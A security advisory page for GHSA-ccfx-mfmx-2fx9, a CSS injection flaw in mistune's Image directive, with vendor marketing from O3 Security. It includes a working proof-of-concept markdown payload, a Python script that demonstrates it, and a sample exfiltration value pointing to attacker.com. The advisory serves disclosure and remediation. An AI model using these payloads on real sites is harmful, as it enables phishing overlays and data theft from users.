GHSA-ccfx-mfmx-2fx9
MEDIUMGHSA-ccfx-mfmx-2fx9 is a medium-severity (CVSS 4.7) Cross-site Scripting (XSS) vulnerability in mistune. O3 Security confirms whether GHSA-ccfx-mfmx-2fx9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Mistune Image Directive CSS Injection Vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-ccfx-mfmx-2fx9.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-ccfx-mfmx-2fx9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
mistuneReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:\.\d*)?"). This pattern is applied via re.match() (which anchors only at the start of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.
When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping.
An attacker can therefore inject an arbitrary chain of CSS properties — including position:fixed, background-color, z-index, outline, and opacity — using nothing more than a single :width: option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.
Details
File: src/mistune/directives/image.py
_num_re = re.compile(r"^\d+(?:\.\d*)?") # no $ anchor — prefix match only
def _parse_attrs(options):
height = options.get("height")
width = options.get("width")
if height and _num_re.match(height): # passes if value STARTS with a digit
attrs["height"] = height # full value stored, not just digits
if width and _num_re.match(width): # same — prefix-only check
attrs["width"] = width
And in render_block_image():
if width:
if width.isdigit():
img += ' width="' + width + '"' # safe: integer → HTML attribute
else:
style += "width:" + width + ";" # UNSAFE: non-integer → raw style value
The isdigit() branch correctly uses an HTML attribute for plain integers. The else branch assumes that anything that passed _num_re.match() is a safe CSS length like 100px or 50%. However, because the regex is prefix-only, 100vw;height:100vh;position:fixed;... also passes, and the entire string lands in style= unmodified.
PoC
Step 1 — Establish the baseline (safe plain-integer dimensions)
The script creates a parser with escape=True, FencedDirective, and the Image plugin. A safe image directive is rendered with integer width and height:
md = create_markdown(escape=True, plugins=[FencedDirective([Image()])])
bl_src = (
"```{image} photo.jpg\n"
":width: 400\n"
":height: 300\n"
":alt: safe image\n"
"```\n"
)
bl_out = str(md(bl_src))
Expected and actual output — clean width= and height= HTML attributes, no style=:
<div class="block-image"><img src="photo.jpg" alt="safe image" width="400" height="300" /></div>
Step 2 — Understand why non-integer widths go into style=
When width is not a plain integer (e.g., 100px), width.isdigit() returns False, so the render path falls through to style += "width:" + width + ";". This is the intended mechanism for CSS-unit dimensions. The flaw is that _num_re.match() lets far more than CSS units through.
Step 3 — Craft the exploit payload
Provide a :width: value that begins with a valid number (satisfying _num_re.match()) but appends an entire CSS attack chain after it:
:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93
100vw— starts with1, passes_num_re.match(); also sets the width to full viewport width;height:100vh— overrides height to full viewport height;position:fixed— lifts element out of document flow, fixed to the browser viewport;top:0;left:0— anchors overlay to the top-left corner;z-index:9999— places it above all other page content;background-color:#e11d48— fills the overlay with vivid crimson;outline:8px solid #facc15— adds a bright yellow border;color:#fff;opacity:.93— styles the alt-text label in white with near-full opacity
Full exploit markdown:
```{image} x.jpg
:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93
:alt: ⚠ CSS INJECTED — click to dismiss ⚠
**Step 4 — Observe the injected `style=` in the output**
```python
ex_src = (
"```{image} x.jpg\n"
":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;"
"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n"
":alt: ⚠ CSS INJECTED — click to dismiss ⚠\n"
"```\n"
)
ex_out = str(md(ex_src))
Actual output:
<div class="block-image"><img src="x.jpg" alt="⚠ CSS INJECTED — click to dismiss ⚠" style="width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;" /></div>
Every injected CSS property is present in the style= attribute. When a browser renders this HTML, the <img> element:
- expands to fill 100% of the viewport width and height
- sits fixed at the top-left corner, scrolling with the viewport
- is coloured crimson with a yellow outline
- appears above all other page content
The result is a complete full-page phishing overlay generated from a single Markdown image directive.
Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
#!/usr/bin/env python3
"""H6: Image directive CSS injection — width/height use prefix-only re.match().
Exploit combines: position:fixed + background-color + outline colour
→ a full-viewport coloured overlay injected via a single :width: option.
"""
import os, html as h
from mistune import create_markdown
from mistune.directives import FencedDirective
from mistune.directives.image import Image
md = create_markdown(escape=True, plugins=[FencedDirective([Image()])])
# --- baseline ---
bl_file = "baseline_h6.md"
bl_src = (
"```{image} photo.jpg\n"
":width: 400\n"
":height: 300\n"
":alt: safe image\n"
"```\n"
)
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
bl_out = str(md(bl_src))
print(f"[{bl_file}]\n{bl_src}")
print("[output — clean width/height attributes, no style injection]")
print(bl_out)
# --- exploit ---
# _num_re.match() is prefix-only (no $ anchor), so anything after the leading
# digits is accepted and written verbatim into style="width:<value>;".
# This single :width: value smuggles a full CSS attack chain:
# position:fixed → overlay sits above the entire page
# top/left/width/height → covers 100 % of the viewport
# background-color:#e11d48 → vivid crimson fill
# outline:8px solid #facc15 → bright yellow border
# color:#fff → white alt-text label
# z-index:9999 → on top of everything
ex_file = "exploit_h6.md"
ex_src = (
"```{image} x.jpg\n"
":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;"
"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n"
":alt: ⚠ CSS INJECTED — click to dismiss ⚠\n"
"```\n"
)
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
ex_out = str(md(ex_src))
print(f"[{ex_file}]\n{ex_src}")
print("[output — colour + background-colour + fixed overlay injected into style=]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;
font-size:.85em;color:#92400e;margin:12px 0}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;
box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;
font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;
background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}
/* scope the live-render sandbox so position:fixed stays inside the box */
.sandbox{position:relative;width:100%;height:100%}
.sandbox img{max-width:100%;max-height:100%;object-fit:contain}
/* override position:fixed on exploit img to keep it inside the preview box */
.sandbox img[style*="position:fixed"]{position:absolute!important;width:100%!important;
height:100%!important;top:0!important;left:0!important}
"""
def case(kind, label, filename, src, out):
header = "BASELINE" if kind == "baseline" else "EXPLOIT"
sandbox = f'<div class="sandbox">{out}</div>'
return f"""
<div class="case {kind}">
<div class="case-header">{header} — {h.escape(label)}</div>
<div class="panels">
<div class="panel">
<h3>Input — {h.escape(filename)}</h3>
<pre>{h.escape(src)}</pre>
</div>
<div class="panel">
<h3>Output — HTML source</h3>
<pre>{h.escape(out)}</pre>
<div class="rlabel">↓ live render (sandboxed to preview box)</div>
<div class="rendered">{sandbox}</div>
</div>
</div>
</div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H6 — Image CSS Injection</title><style>{CSS}</style></head><body>
<h1>H6 — Image Directive CSS Injection</h1>
<p class="desc">
<code>_parse_attrs()</code> in <code>directives/image.py</code> validates
<code>:width:</code> / <code>:height:</code> with <code>_num_re.match()</code>
(prefix-only — no <code>$</code> anchor). Anything after the leading digits
is accepted verbatim and written straight into a <code>style=</code> attribute.
A single <code>:width:</code> option is sufficient to smuggle an arbitrary
CSS chain: <strong>position:fixed · background-color · outline colour · full-viewport overlay</strong>.
</p>
<div class="warn">
⚠ The EXPLOIT preview below is sandboxed inside its box.
In a real document the crimson overlay would cover the <em>entire browser window</em>.
</div>
{case("baseline",
"Integer dims → clean width/height= attributes, no style=",
bl_file, bl_src, bl_out)}
{case("exploit",
":width: carries position:fixed + background-color + outline → full-viewport coloured overlay",
ex_file, ex_src, ex_out)}
</body></html>"""
out_path = os.path.join(os.getcwd(), "report_h6.html")
with open(out_path, "w") as f:
f.write(page)
print(f"\n[report] {out_path}")
Example usage:
python poc.py
Once you run the script, open report_h6.html in the browser and observe the behaviour.
Impact
| Dimension | Assessment |
|---|---|
| Confidentiality | CSS-based data exfiltration via background-image: url(https://attacker.com/?leak=...) is possible in some browser/CSP configurations |
| Integrity | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |
| Availability | The overlay obscures all page content from the user until dismissed or navigated away |
Real-world impact scenario: An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | mistune | ≥ 3.2.0&&< 3.2.1 | 3.2.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mistune. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update mistune to 3.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-ccfx-mfmx-2fx9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-ccfx-mfmx-2fx9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-ccfx-mfmx-2fx9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-ccfx-mfmx-2fx9 in your dependencies?
O3 detects GHSA-ccfx-mfmx-2fx9 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.